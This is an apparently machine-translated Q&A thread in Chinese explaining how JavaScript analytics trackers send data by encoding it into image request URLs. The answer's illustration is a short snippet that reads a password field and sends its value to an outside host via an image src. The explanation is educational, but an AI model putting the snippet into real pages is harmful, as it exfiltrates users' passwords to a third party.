4
任何人都知道谷歌分析或Clicky是如何工作的?任何人都知道Javascript Web Analytics跟蹤器是如何工作的?
我一直在搜索整個http://static.getclicky.com/js文件,但沒有發現任何服務器請求。它如何發送數據而不影響其自身的安全性?否則用戶可以通過修改js發送錯誤的數據。
任何人都知道谷歌分析或Clicky是如何工作的?任何人都知道Javascript Web Analytics跟蹤器是如何工作的?
我一直在搜索整個http://static.getclicky.com/js文件,但沒有發現任何服務器請求。它如何發送數據而不影響其自身的安全性?否則用戶可以通過修改js發送錯誤的數據。
圖片:這些庫在編碼所有他們想要的跟蹤信息時使用一種技巧,將其附加到圖像URL並通過請求圖像「發送」它。服務器端解析該圖像文件名解碼信息。
假設你有,你想從mydomain.com發送到somedomain.com密碼字段:
var t = document.getElementById('p').value;
var i = document.createElement('img');
i.src = 'http://somedomain.com/imagescript.php?p=' + t;
:
<input type='password' id='p' />
這個JavaScript可以通過違反跨站點限制發送內容
跨站點腳本編寫限制不適用於圖像,並且當您在JavaScript中編寫圖像URL請求時,世界上沒有任何瀏覽器或邏輯可以說明所有可能性。假設我們很幸運,GA是符合道德規範的,並且不會妨礙表單域。
哇,這是一個不錯的。但是i.src發生了什麼?它被丟棄了嗎? 如果他們不得不提取數據,例如用戶/瀏覽器信息/引用網址等的IP地址,它是在PHP文件中完成還是通過JavaScript? –
某些信息(瀏覽器代理,IP地址,可能是指URL)是從HTTP頭被動收集的。其他信息(如頁面標題)會在圖像URL中進行編碼,服務器端處理將對其進行解碼。 – pp19dd
非常感謝您的回答。但爲什麼這麼多的編碼只是爲了發送一堆變量?我無法弄清楚它是什麼,但我想數據在發送之前進行編碼以避免欺騙性條目。 –